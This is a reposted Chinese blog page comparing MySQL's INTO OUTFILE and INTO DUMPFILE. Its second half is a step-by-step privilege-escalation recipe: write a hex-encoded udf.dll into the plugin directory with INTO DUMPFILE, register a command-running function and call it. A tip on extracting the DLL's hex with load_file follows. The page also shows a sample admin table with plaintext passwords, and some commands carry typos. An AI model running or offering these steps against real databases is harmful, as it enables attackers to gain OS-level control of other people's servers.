您好,欢迎访问一九零五行业门户网

mysql dumpfile 与 outfile 函数的区别_MySQL

bitscn.com 一直以为两个函数作用是相同的
经过简单测试发现还是有些区别的
如下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name      | pass    |
+----+------------+---------+
|  1 | admin      | baidusb |
|  2 | root          | hacksb  |
|  3 | manage    | nimei    |
|  4 | boss         | helensb |
|  5 | guanli       | admin   |
|  6 | superuser  | g0ood   |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
query ok,1 row affected (0.00 sec)
我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
这个很适合导库
而into dump是不行的 它只能导出 一行数据!
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|variable_name   | value                                    |
+----------------+------------------------------------------+
| plugin_dir     |c:/mysql/mysql server 5.1/lib/plugin      |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略
mysql> create function mycmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select mycmd('whoam');
一点小知识点:
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何获取该udf插件的内置 函数?
通过c32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可
摘自 http://hi.baidu.com/evilrapper/blog/item/5a36f290c9b54692a877a46a.html bitscn.com
其它类似信息

推荐信息